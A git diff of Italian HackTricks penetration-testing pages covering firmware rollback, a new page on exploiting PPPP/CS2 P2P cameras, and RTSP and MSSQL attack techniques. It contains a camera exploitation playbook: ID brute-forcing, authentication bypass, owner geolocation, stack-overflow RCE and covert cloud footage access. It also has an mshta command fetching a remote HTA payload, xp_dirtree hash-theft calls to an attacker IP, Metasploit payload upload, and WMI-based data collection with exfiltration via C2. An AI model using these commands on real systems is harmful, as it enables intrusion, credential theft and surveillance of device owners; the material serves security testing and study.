+Molti vendor includono immagini firmware complete all'interno delle loro app companion per dispositivi mobili in modo che l'app possa aggiornare il dispositivo via Bluetooth/Wi‑Fi. Questi pacchetti sono comunemente memorizzati non cifrati nell'APK/APEX sotto percorsi come `assets/fw/` o `res/raw/`. Strumenti come `apktool`, `ghidra` o perfino il semplice `unzip` consentono di estrarre immagini firmate senza dover toccare l'hardware fisico.
 ```
 $ apktool d vendor-app.apk -o vendor-app
 $ ls vendor-app/assets/firmware
 firmware_v1.3.11.490_signed.bin
 ```
-### Checklist per valutare la logica di aggiornamento
+### Checklist per valutare la logica di update
 
-* Il trasporto/l'autenticazione dell'*endpoint di aggiornamento* è adeguatamente protetto (TLS + autenticazione)?
-* Il dispositivo confronta i **numeri di versione** o un **contatore anti-rollback monotono** prima di eseguire il flashing?
-* L'immagine è verificata all'interno di una catena di avvio sicura (ad es. firme controllate dal codice ROM)?
-* Il codice userland esegue controlli di sanità aggiuntivi (ad es. mappa delle partizioni consentite, numero di modello)?
-* I flussi di aggiornamento *parziali* o *di backup* riutilizzano la stessa logica di convalida?
+* Il trasporto/l'autenticazione dell'*update endpoint* è adeguatamente protetto (TLS + authentication)?
+* Il dispositivo confronta **version numbers** o un **monotonic anti-rollback counter** prima del flashing?
+* L'immagine è verificata all'interno di una secure boot chain (es. signatures checked by ROM code)?
+* Il userland code esegue ulteriori sanity checks (es. allowed partition map, model number)?
+* I flussi di update *partial* o *backup* riutilizzano la stessa validation logic?
 
-> 💡  Se uno qualsiasi dei punti sopra è mancante, la piattaforma è probabilmente vulnerabile ad attacchi di rollback.
+> 💡  Se uno qualsiasi dei punti sopra manca, la piattaforma è probabilmente vulnerabile a rollback attacks.
 
 ## Firmware vulnerabile per esercitarsi
 
-Per esercitarti a scoprire vulnerabilità nel firmware, utilizza i seguenti progetti di firmware vulnerabili come punto di partenza.
+Per esercitarti a scoprire vulnerabilità nel firmware, usa i seguenti progetti di firmware vulnerabile come punto di partenza.
 
 - OWASP IoTGoat
 - [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
@@ -283,7 +290,7 @@ Per esercitarti a scoprire vulnerabilità nel firmware, utilizza i seguenti prog
 - [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
 - [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
 
-## Formazione e Certificazione
+## Training e Certificazioni
 
 - [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
 

src/network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md

@@ -0,0 +1,165 @@
+# 32100/UDP - Pentesting PPPP (CS2) P2P Cameras
+
+{{#include ../banners/hacktricks-training.md}}
+
+## Panoramica
+
+PPPP (a.k.a. “P2P”) è uno stack proprietario di connettività dispositivi di CS2 Network ampiamente integrato in telecamere IP low-cost e altri dispositivi IoT. Fornisce rendezvous, NAT traversal (UDP hole punching), uno stream "affidabile" a livello applicativo sopra UDP e uno schema di indirizzamento basato su ID, permettendo a un'app mobile/desktop di raggiungere dispositivi ovunque su Internet conoscendo solo l'ID del dispositivo.
+
+Caratteristiche chiave rilevanti per gli attaccanti:
+- I dispositivi si registrano a tre server di rendezvous gestiti dal vendor per prefisso ID. I client interrogano gli stessi server per trovare l'indirizzo esterno/relay del dispositivo, quindi tentano UDP hole punching. È previsto un fallback su relay.
+- Il listener di default del server è raggiungibile su UDP/32100. Una probe "hello" minima è sufficiente per effettuare il fingerprinting dei server e di alcuni dispositivi.
+- Esiste un blanket cipher opzionale e una modalità speciale "CRCEnc", ma sono deboli per progettazione e tipicamente disabilitate in ecosistemi popolari (es., LookCam).
+- Il control plane è solitamente composto da comandi JSON sullo stream PPPP e spesso soffre di mancanza di auth e bug di sicurezza della memoria.
+
+Formato tipico dell'ID dispositivo (famiglia LookCam): PREFIX-######-CCCCC, abbreviato nelle app (es., GHBB-000001-NRLXW → G000001NRLXW). Prefissi osservati: BHCC ("hekai"), FHBB e GHBB ("mykj").
+
+## Scoperta e enumerazione
+
+- Esposizione su Internet: molti super-nodi PPPP rispondono a una probe su 32100/UDP. Risposte con plaintext noti e stringhe di errore le rendono facili da identificare nei capture di traffico e con scanner Internet.
+- Scoperta LAN: i dispositivi spesso rispondono a una ricerca non criptata su broadcast locale. Usa lo script di Paul Marrapese per enumerare:
+- [https://github.com/pmarrapese/iot/tree/master/p2p/lansearch](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
+
+Note:
+- Le app incorporano "init strings" che contengono liste di IP server offuscate e chiavi di protocollo. Queste stringhe sono trivialmente estraibili dai client Android/iOS/Windows e spesso riutilizzate tra molte linee di prodotto.
+
+## NAT Traversal e trasporto
+
+- I server di rendezvous apprendono la mappatura pubblica del dispositivo tramite keepalive periodici inviati dal dispositivo. I client interrogano i server per ottenere la mappatura e poi tentano flussi UDP diretti usando hole punching. Se il NAT traversal fallisce, il traffico viene inoltrato tramite host PPPP designati (relay).
+- Lo "stream" applicativo implementa la propria logica ACK/retx sopra UDP; i loop di ritrasmissione sono duplicati su molte path di codice e possono saturare link con perdita.
+
+## Debole "Encryption" e recupero delle chiavi
+
+Nello stack CS2 esistono due meccanismi inefficaci:
+
+1) Blanket cipher (optional) – P2P_Proprietary_Encrypt
+- Di solito disabilitato dagli OEM che usano LookCam.
+- L'init string lato app fornisce il materiale chiave che viene ridotto a una chiave effettiva di 4 byte (~spazio 2^32).
+- Known-plaintext pratico: i primi 4 byte di MSG_HELLO a UDP/32100 sono noti e valgono F1 00 00 00. Osservare una singola handshake criptata permette un rapido recupero o validazione della chiave.
+- Alcuni messaggi di controllo (es., MSG_REPORT_SESSION_READY) sono sempre criptati con una chiave hardcoded nella libreria e condivisa tra le app.
+
+2) Registration "encryption" – PPPP_CRCEnc
+- Nonostante il nome, questo non è CRC. È uno keystream XOR a ripetizione fissa con un controllo di padding di 4 byte (non autenticato).
+- Le reti LookCam tipicamente usano CRCEnc solo per la registrazione device → server (MSG_DEV_LGN_CRC). La maggior parte del traffico rimane in chiaro.
+
+Recupero semplice del keystream per PPPP_CRCEnc (Python):
+```python
+# ciphertext: captured bytes of an encrypted registration message
+# known: guessed/known plaintext region (e.g., JSON or constant header)
+keystream = bytes([c ^ p for c, p in zip(ciphertext[:len(known)], known)])
+# Decrypt more bytes by XORing with the repeating keystream
+pt = bytes([c ^ keystream[i % len(keystream)] for i, c in enumerate(ciphertext)])
+```
+Disallineamento del modello di minaccia: i materiali CS2 si concentrano sul prevenire DoS tramite registrazioni di dispositivi false, non sulla riservatezza. Questo spiega la “encryption” selettiva della registrazione mentre video/controllo restano opzionali o in chiaro. I server PPPP storici mostrano assenza di rate limiting, permettendo brute-force/abuse su larga scala.
+
+## Piano di controllo: JSON Commands and Auth Bypass
+
+Molti firmware di telecamere PPPP scambiano messaggi JSON una volta stabilita la sessione. Esempio di “login” che il client invia:
+```json
+{
+"cmd": "LoginDev",
+"pwd": "123456"
+}
+```
+Vulnerabilità comune nei dispositivi della classe LookCam:
+- Firmware ignora sia il flow LoginDev sia i campi pwd per richiesta (CWE-287, CWE-306). Il dispositivo accetta comandi operativi senza validare una password.
+- Sfruttamento: non inviare LoginDev o ignorarne il risultato; inviare i comandi direttamente.
+
+Comandi utili osservati:
+- searchWiFiList – invoca iwlist; lascia l'output grezzo in /tmp/wifi_scan.txt.
+- DownloadFile – primitive di lettura di percorsi arbitrari senza restrizioni di path.
+
+Flusso di lavoro per deanonimizzare la posizione tramite artefatti transitori:
+1) Invia {"cmd":"searchWiFiList"}.
+2) Leggi /tmp/wifi_scan.txt tramite DownloadFile.
+3) Invia i BSSID MACs a una geolocation API (es. Google Geolocation API) per localizzare la camera con una precisione di decine di metri.
+
+## Memory-Safety to RCE on Embedded Firmware
+
+Pattern tipico insicuro (pseudocodice dai handlers):
+```c
+char buf[256];
+char *cmd = cJSON_GetObjectItem(request, "cmd")->valuestring;
+memset(buf, 0, sizeof(buf));
+memcpy(buf, cmd, strlen(cmd)); // no bound check
+```
+- Scatenante: any cmd string > 255 bytes causes a stack buffer overflow (CWE-120/121).
+- Protezione: nessun stack canary; DEP/NX e ASLR comunemente disabilitati in queste build.
+- Impatto: straightforward single-stage shellcode o classic ROP/ret2libc sulla CPU del dispositivo (es., ARM) per compromissione completa e LAN pivoting.
+
+See also:
+-
+{{#ref}}
+../binary-exploitation/stack-overflow/README.md
+{{#endref}}
+-
+{{#ref}}
+../binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
+{{#endref}}
+
+## Abuso dello storage cloud (HTTP, Device-ID only)
+
+Molti firmware marchiati LookCam caricano le registrazioni su api.l040z.com (apicn.l040z.com per BHCC) usando solo HTTP. Osservazioni:
+- Nessun TLS nel firmware; il trasporto è cleartext HTTP.
+- L'“authentication” dell'API è solo device-ID: chiunque conosca l'ID può fetchare le registrazioni.
+- Chunking a 5 MiB è hardcoded.
+- Abilitazione remota: all'avvio il dispositivo chiama http://api.l040z.com/camera/signurl; la risposta del server decide se iniziano gli upload. L'app mobile può mostrare cloud “disabled” anche quando gli upload avvengono. Una terza parte può purchase/enable cloud per un ID vittima e silently collect i filmati.
+
+Si tratta di una classica trasmissione sensibile in cleartext (CWE-319) con mancante authZ lato server.
+
+## Enumerazione e indovinamento del Device-ID
+
+- Formato ID: PREFIX-######-CCCCC e forma abbreviata dall'app (e.g., GHBB-000001-NRLXW → G000001NRLXW).
+- Famiglie di prefix: BHCC (hekai servers), FHBB e GHBB (mykj servers). Ogni prefix mappa a tre rendezvous server per HA.
+- Il verificatore a 5 lettere usa un alfabeto di 22 lettere maiuscole (A, I, O, Q esclusi) → 22^5 ≈ 5.15M combo per base numerica.
+- Lavori precedenti hanno osservato l'assenza di rate-limiting lato server, rendendo pratico il distributed guessing. L'algoritmo del verificatore è bespoke e probabilmente guessable o ottenibile tramite reverse engineering delle app/firmware.
+
+Fonti pratiche di ID:
+- Visualizzati ovunque nelle app ufficiali e spesso leaked in screenshot/video utente.
+- L'SSID in AP mode corrisponde al device ID; molti dispositivi espongono un AP aperto durante l'onboarding.
+
+## Forzare la raggiungibilità remota
+
+Alcuni firmware si riavviano in loop finché i rendezvous server non sono raggiungibili. Se l'egress è bloccato, il dispositivo resterà in un ciclo di reboot, costringendo di fatto i proprietari a lasciarlo Internet-reachable ed esposto al rendezvous PPPP.
+
+## Playbook pratico di sfruttamento (per repro/test difensivo)
+
+1) Ottenere il device ID
+- Dall'UI dell'app o dall'SSID AP; altrimenti enumerare PREFIX+numero e brute-force lo spazio del verificatore 22^5.
+
+2) Stabilire la sessione PPPP
+- Usare un CS2 PPPP client o codice custom; estrarre liste di IP server e init keys dalla init string dell'app; tentare UDP hole punching; fallback al relay.
+
+3) Bypassare auth
+- Saltare LoginDev o ignorarne il risultato; inviare direttamente l'operational JSON.
+
+4) Esfiltrare file / geo-localizzare
+- Inviare {"cmd":"searchWiFiList"}; poi DownloadFile "/tmp/wifi_scan.txt"; inviare i BSSID a un geolocation API.
+
+5) Ottenere RCE
+- Inviare un cmd > 255 bytes per triggerare lo stack overflow; costruire ROP/ret2libc o droppare shellcode (no canary/DEP/ASLR).
+
+6) Accesso al cloud
+- Interagire con gli endpoint api.l040z.com usando solo il device ID; notare il chunking a 5 MiB; l'abilitazione del cloud è controllata da /camera/signurl indipendentemente dallo stato dell'UI dell'app.
+
+## Protocolli/Servizi correlati
+
+-
+{{#ref}}
+554-8554-pentesting-rtsp.md
+{{#endref}}
+-
+{{#ref}}
+../generic-methodologies-and-resources/pentesting-wifi/README.md
+{{#endref}}
+
+## Riferimenti
+
+- [A look at a P2P camera (LookCam app) – Almost Secure](https://palant.info/2025/09/08/a-look-at-a-p2p-camera-lookcam-app/)
+- [PPPP device discovery on LAN (Paul Marrapese)](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
+- [LookCam analysis (Warwick University, 2023)](https://www.dcs.warwick.ac.uk/~fenghao/files/hidden_camera.pdf)
+- [General PPPP analysis – Elastic Security Labs (2024)](https://www.elastic.co/security-labs/storm-on-the-horizon)
+- [CS2 Network sales deck (2016) – PPPP/threat model](https://prezi.com/5cztk-98izyc/cs2-network-p2p/)
+- [Anyka hardened community firmware](https://github.com/Nemobi/Anyka/)
+
+{{#include ../banners/hacktricks-training.md}}

src/network-services-pentesting/554-8554-pentesting-rtsp.md

@@ -4,34 +4,34 @@
 
 ## Informazioni di base
 
-Da [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
+From [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
 
-> Il **Real Time Streaming Protocol** (**RTSP**) è un protocollo di controllo di rete progettato per l'uso in sistemi di intrattenimento e comunicazione per controllare i server di streaming multimediale. Il protocollo viene utilizzato per stabilire e controllare sessioni multimediali tra i punti finali. I client dei server multimediali emettono comandi in stile VHS, come riproduci, registra e pausa, per facilitare il controllo in tempo reale dello streaming multimediale dal server a un client (Video On Demand) o da un client al server (Voice Recording).
+> Il **Protocollo di streaming in tempo reale** (**RTSP**) è un protocollo di controllo di rete progettato per l'uso in sistemi di intrattenimento e comunicazione per controllare server di streaming multimediale. Il protocollo viene utilizzato per stabilire e controllare sessioni multimediali tra endpoint. I client dei server multimediali inviano comandi in stile VHS, come play, record e pause, per facilitare il controllo in tempo reale dello streaming multimediale dal server al client (Video On Demand) o dal client al server (Voice Recording).
 >
-> La trasmissione dei dati in streaming stessa non è un compito di RTSP. La maggior parte dei server RTSP utilizza il Real-time Transport Protocol (RTP) insieme al Real-time Control Protocol (RTCP) per la consegna del flusso multimediale. Tuttavia, alcuni fornitori implementano protocolli di trasporto proprietari. Il software del server RTSP di RealNetworks, ad esempio, utilizza anche il Real Data Transport (RDT) proprietario di RealNetworks.
+> La trasmissione dei dati di streaming in sé non è compito di RTSP. La maggior parte dei server RTSP utilizza il Real-time Transport Protocol (RTP) in combinazione con il Real-time Control Protocol (RTCP) per la consegna dello stream multimediale. Tuttavia, alcuni fornitori implementano protocolli di trasporto proprietari. Il software server RTSP di RealNetworks, per esempio, utilizzava anche il Real Data Transport (RDT) proprietario di RealNetworks.
 
 **Porte predefinite:** 554,8554
 ```
 PORT    STATE SERVICE
 554/tcp open  rtsp
 ```
-## Dettagli Chiave
+## Dettagli chiave
 
 **RTSP** è simile a HTTP ma progettato specificamente per lo streaming multimediale. È definito in una specifica semplice che può essere trovata qui:
 
 [RTSP – RFC2326](https://tools.ietf.org/html/rfc2326)
 
-I dispositivi potrebbero consentire accesso **non autenticato** o **autenticato**. Per verificare, viene inviato una richiesta "DESCRIBE". Un esempio di base è mostrato di seguito:
+I dispositivi potrebbero consentire accesso **non autenticato** o **autenticato**. Per verificare, viene inviata una richiesta "DESCRIBE". Un esempio di base è mostrato di seguito:
 
 `DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2`
 
-Ricorda, il formato corretto include un doppio "\r\n" per una risposta coerente. Una risposta "200 OK" indica **accesso non autenticato**, mentre "401 Unauthorized" segnala la necessità di autenticazione, rivelando se è richiesta l'autenticazione **Basic** o **Digest**.
+Ricorda che il formato corretto include una doppia "\r\n" per una risposta coerente. Una risposta "200 OK" indica **accesso non autenticato**, mentre "401 Unauthorized" segnala la necessità di autenticazione, rivelando se è richiesta **Basic** o **Digest authentication**.
 
-Per l'**autenticazione Basic**, codifichi il nome utente e la password in base64 e lo includi nella richiesta in questo modo:
+Per **Basic authentication**, codifica nome utente e password in base64 e includili nella richiesta in questo modo:
 
 `DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==`
 
-Questo esempio utilizza "admin" e "1234" per le credenziali. Ecco uno **script Python** per inviare una tale richiesta:
+Questo esempio usa "admin" e "1234" come credenziali. Ecco uno **script Python** per inviare tale richiesta:
 ```python
 import socket
 req = "DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n"
@@ -41,40 +41,46 @@ s.sendall(req)
 data = s.recv(1024)
 print(data)
 ```
-**L'autenticazione di base** è più semplice e preferita. **L'autenticazione Digest** richiede una gestione attenta dei dettagli di autenticazione forniti nella risposta "401 Non autorizzato".
+**Basic authentication** è più semplice e preferibile. **Digest authentication** richiede un'attenta gestione dei dettagli di autenticazione forniti nella risposta "401 Unauthorized".
 
-Questa panoramica semplifica il processo di accesso ai flussi RTSP, concentrandosi su **L'autenticazione di base** per la sua semplicità e praticità nei tentativi iniziali.
+Questa panoramica semplifica il processo di accesso agli stream RTSP, concentrandosi su **Basic authentication** per la sua semplicità e praticità nei tentativi iniziali.
 
-## Enumerazione
+## Enumeration
 
-Otteniamo informazioni sui metodi validi e sugli URL supportati e proviamo a forzare l'accesso (se necessario) per accedere al contenuto.
+Raccogliamo informazioni su quali metodi e URLs sono supportati e proviamo a brute-force l'accesso (se necessario) per ottenere il contenuto.
 ```bash
 nmap -sV --script "rtsp-*" -p <PORT> <IP>
 ```
-#### Visualizzazione dello Stream RTSP con [ffplay](https://ffmpeg.org/ffplay.html)
-Una volta scoperto un percorso RTSP valido (ad esempio, `/mpeg4`, `/live.sdp`) e confermato l'accesso (non autenticato o con credenziali), puoi utilizzare `ffplay` per trasmettere il feed:
+#### Visualizzare lo stream RTSP con [ffplay](https://ffmpeg.org/ffplay.html)
+Una volta che hai scoperto un percorso RTSP valido (ad esempio `/mpeg4`, `/live.sdp`) e confermato l'accesso (unauthenticated or with credentials), puoi usare `ffplay` per visualizzare il feed:
 ```bash
 ffplay -rtsp_transport tcp rtsp://<IP>/mpeg4 -x 2560 -y 1440
 ```
 - `-rtsp_transport tcp`: Usa TCP invece di UDP per uno streaming più affidabile
 - `-x`, `-y`: Flag opzionali per controllare la risoluzione video
-- Sostituisci `<IP>` e il percorso come necessario
+- Replace `<IP>` and path as needed
 
 ### [Brute Force](../generic-hacking/brute-force.md#rtsp)
 
 ### **Altri programmi utili**
 
-Per bruteforce: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
+Per effettuare bruteforce: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
 
 [**Cameradar**](https://github.com/Ullaakut/cameradar)
 
-- Rileva host RTSP aperti su qualsiasi obiettivo accessibile
-- Ottieni le loro informazioni pubbliche (hostname, porta, modello della telecamera, ecc.)
-- Avvia attacchi di dizionario automatizzati per ottenere il loro percorso di streaming (ad esempio /live.sdp)
-- Avvia attacchi di dizionario automatizzati per ottenere il nome utente e la password delle telecamere
-- Genera miniature da essi per controllare se gli streaming sono validi e avere un'anteprima rapida del loro contenuto
-- Prova a creare una pipeline Gstreamer per controllare se sono correttamente codificati
-- Stampa un riepilogo di tutte le informazioni che Cameradar potrebbe ottenere
+- Detect open RTSP hosts on any accessible target
+- Get their public info (hostname, port, camera model, etc.)
+- Launch automated dictionary attacks to get their stream route (for example /live.sdp)
+- Launch automated dictionary attacks to get the username and password of the cameras
+- Generate thumbnails from them to check if the streams are valid and to have a quick preview of their content
+- Try to create a Gstreamer pipeline to check if they are properly encoded
+- Print a summary of all the informations Cameradar could get
+
+### Vedi anche
+
+{{#ref}}
+32100-udp-pentesting-pppp-cs2-p2p-cameras.md
+{{#endref}}
 
 ## Riferimenti
 

src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md

@@ -4,25 +4,25 @@
 
 ## Informazioni di base
 
-Da [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
+Tratto da [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
 
-> **Microsoft SQL Server** è un sistema di gestione di **database relazionali** sviluppato da Microsoft. Come server di database, è un prodotto software con la funzione principale di memorizzare e recuperare dati su richiesta di altre applicazioni software—che possono essere eseguite sia sullo stesso computer che su un altro computer attraverso una rete (incluso Internet).
+> **Microsoft SQL Server** è un sistema di gestione di **database relazionale** sviluppato da Microsoft. Come server di database, è un prodotto software la cui funzione primaria è memorizzare e recuperare dati su richiesta da altre applicazioni software — che possono essere in esecuzione sullo stesso computer o su un altro computer attraverso una rete (incluso Internet).
 
-**Porta predefinita:** 1433
+**Default port:** 1433
 ```
 1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
 ```
-### **Tabelle di Sistema MS-SQL Predefinite**
+### **Tabelle di sistema predefinite MS-SQL**
 
-- **master Database**: Questo database è cruciale in quanto cattura tutti i dettagli a livello di sistema per un'istanza di SQL Server.
-- **msdb Database**: SQL Server Agent utilizza questo database per gestire la pianificazione di avvisi e lavori.
-- **model Database**: Funziona come un modello per ogni nuovo database sull'istanza di SQL Server, dove eventuali modifiche come dimensione, ordinamento, modello di recupero e altro sono riflesse nei database appena creati.
-- **Resource Database**: Un database di sola lettura che ospita oggetti di sistema forniti con SQL Server. Questi oggetti, pur essendo memorizzati fisicamente nel database Resource, sono presentati logicamente nello schema sys di ogni database.
-- **tempdb Database**: Funziona come un'area di archiviazione temporanea per oggetti transitori o set di risultati intermedi.
+- **master Database**: Questo database è cruciale poiché contiene tutti i dettagli a livello di sistema per un'istanza di SQL Server.
+- **msdb Database**: SQL Server Agent utilizza questo database per gestire la pianificazione di alert e job.
+- **model Database**: Funziona come modello per ogni nuovo database sull'istanza di SQL Server; eventuali modifiche come dimensione, collation, recovery model, ecc. vengono replicate nei database appena creati.
+- **Resource Database**: Un database di sola lettura che contiene gli oggetti di sistema forniti con SQL Server. Questi oggetti, pur essendo memorizzati fisicamente nel Resource database, sono presentati logicamente nello sys schema di ogni database.
+- **tempdb Database**: Serve come area di storage temporanea per oggetti transitori o set di risultati intermedi.
 
 ## Enumerazione
 
-### Enumerazione Automatica
+### Enumerazione automatica
 
 Se non sai nulla sul servizio:
 ```bash
@@ -30,9 +30,9 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
 msf> use auxiliary/scanner/mssql/mssql_ping
 ```
 > [!TIP]
-> Se **non hai** **credenziali** puoi provare a indovinarle. Puoi usare nmap o metasploit. Fai attenzione, puoi **bloccare gli account** se fallisci il login più volte usando un nome utente esistente.
-
-#### Metasploit (necessita di credenziali)
+> Se **non** **hai le credenziali** puoi provare a indovinarle. Puoi usare nmap o metasploit. Fai attenzione, puoi **bloccare gli account** se fallisci il login diverse volte usando un username esistente.
+ 
+#### Metasploit (need creds)
 ```bash
 #Set USERNAME, RHOSTS and PASSWORD
 #Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
@@ -64,11 +64,11 @@ msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
 #Add new admin user from meterpreter session
 msf> use windows/manage/mssql_local_auth_bypass
 ```
-### [**Forza bruta**](../../generic-hacking/brute-force.md#sql-server)
+### [**Brute force**](../../generic-hacking/brute-force.md#sql-server)
 
 ### Enumerazione manuale
 
-#### Accesso
+#### Login
 
 [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
 ```shell
@@ -102,7 +102,7 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
 1> select 1;
 2> go
 ```
-#### Enumerazione Comune
+#### Enumerazione comune
 ```sql
 # Get version
 select @@version;
@@ -129,7 +129,7 @@ enum_links
 #Use a link
 use_link [NAME]
 ```
-#### Ottieni Utente
+#### Recupera utente
 
 
 {{#ref}}
@@ -154,16 +154,16 @@ order by name;
 EXEC sp_helpuser
 SELECT * FROM sysusers
 ```
-#### Ottieni Permessi
+#### Ottenere permessi
 
 1. **Securable:** Definito come le risorse gestite da SQL Server per il controllo degli accessi. Queste sono categorizzate in:
-- **Server** – Esempi includono database, login, endpoint, gruppi di disponibilità e ruoli del server.
-- **Database** – Esempi coprono ruoli del database, ruoli delle applicazioni, schema, certificati, cataloghi di testo completo e utenti.
-- **Schema** – Include tabelle, viste, procedure, funzioni, sinonimi, ecc.
-2. **Permesso:** Associato agli securables di SQL Server, permessi come ALTER, CONTROL e CREATE possono essere concessi a un principale. La gestione dei permessi avviene a due livelli:
-- **Livello Server** utilizzando login
-- **Livello Database** utilizzando utenti
-3. **Principale:** Questo termine si riferisce all'entità a cui viene concesso il permesso di un securable. I principali includono principalmente login e utenti del database. Il controllo sull'accesso agli securables è esercitato attraverso la concessione o la negazione di permessi o includendo login e utenti in ruoli dotati di diritti di accesso.
+- **Server** – Esempi includono databases, logins, endpoints, availability groups e server roles.
+- **Database** – Esempi comprendono database role, application roles, schema, certificates, full text catalogs e users.
+- **Schema** – Include tables, views, procedures, functions, synonyms, ecc.
+2. **Permission:** Associato ai securable di SQL Server, permessi come ALTER, CONTROL e CREATE possono essere concessi a un principal. La gestione dei permessi avviene su due livelli:
+- **Server Level** usando logins
+- **Database Level** usando users
+3. **Principal:** Questo termine si riferisce all'entità a cui viene concessa l'autorizzazione su un securable. I principal includono principalmente logins e database users. Il controllo dell'accesso ai securable viene esercitato tramite la concessione o il diniego di permessi o includendo logins e users in ruoli dotati dei diritti di accesso.
 ```sql
 # Show all different securables names
 SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@@ -183,12 +183,12 @@ SELECT IS_SRVROLEMEMBER('sysadmin');
 Use master
 EXEC sp_helprotect 'xp_cmdshell'
 ```
-## Tricks
+## Trucchi
 
 ### Eseguire comandi OS
 
 > [!CAUTION]
-> Nota che per poter eseguire comandi non è solo necessario avere **`xp_cmdshell`** **abilitato**, ma anche avere il **permesso EXECUTE sulla stored procedure `xp_cmdshell`**. Puoi scoprire chi (eccetto gli amministratori di sistema) può utilizzare **`xp_cmdshell`** con:
+> Nota che per poter eseguire comandi non è solo necessario avere **`xp_cmdshell`** **abilitato**, ma anche avere la **EXECUTE permission on the `xp_cmdshell` stored procedure**. Puoi scoprire chi (eccetto sysadmins) può usare **`xp_cmdshell`** con:
 >
 > ```sql
 > Use master
@@ -235,13 +235,45 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
 # Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
 ```
-### Ottenere password hashate
+### WMI-based remote SQL collection (sqlcmd + CSV export)
+
+Gli operatori possono pivotare da un IIS/app tier ai SQL Servers usando WMI per eseguire un piccolo batch che si autentica su MSSQL e esegue query ad‑hoc, esportando i risultati in CSV. Questo mantiene la raccolta semplice e si mimetizza con l'attività di amministrazione.
+
+Esempio mssq.bat
+```bat
+@echo off
+rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
+set S=%1
+set U=%2
+set P=%3
+set Q=%4
+set O=%5
+rem Remove headers, trim trailing spaces, CSV separator = comma
+sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"
+```
+Invocarlo da remoto con WMI
+```cmd
+wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"
+```
+Alternativa a PowerShell
+```powershell
+$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
+Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd
+```
+Note
+- sqlcmd potrebbe non essere disponibile; usa osql, PowerShell Invoke-Sqlcmd, o un one‑liner che utilizza System.Data.SqlClient.
+- Usa le virgolette con attenzione; le query lunghe o complesse sono più facili da fornire tramite un file o tramite un argomento codificato in Base64, decodificato all'interno dello stub batch/PowerShell.
+- Exfil the CSV via SMB (ad esempio, copia da \\SQLHOST\C$\Windows\Temp) o comprimi e sposta attraverso il tuo C2.
+
+
+
+### Get hashed passwords
 ```bash
 SELECT * FROM master.sys.syslogins;
 ```
-### Rubare l'hash NetNTLM / Attacco di Relay
+### Steal NetNTLM hash / Relay attack
 
-Dovresti avviare un **server SMB** per catturare l'hash utilizzato nell'autenticazione (`impacket-smbserver` o `responder` per esempio).
+Dovresti avviare un **SMB server** per catturare l'hash usato nell'autenticazione (`impacket-smbserver` o `responder` per esempio).
 ```bash
 xp_dirtree '\\<attacker_IP>\any\thing'
 exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
@@ -265,7 +297,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
 ```
 > [!WARNING]
-> Puoi controllare chi (oltre agli sysadmin) ha permessi per eseguire quelle funzioni MSSQL con:
+> Puoi verificare chi (oltre agli amministratori di sistema) ha i permessi per eseguire quelle funzioni MSSQL con:
 >
 > ```sql
 > Use master;
@@ -274,24 +306,26 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
 > EXEC sp_helprotect 'xp_fileexist';
 > ```
 
-Utilizzando strumenti come **responder** o **Inveigh** è possibile **rubare l'hash NetNTLM**.\
-Puoi vedere come utilizzare questi strumenti in:
+Usando strumenti come **responder** o **Inveigh** è possibile **rubare l'hash NetNTLM**.\
+Puoi vedere come usare questi strumenti in:
+
 
 {{#ref}}
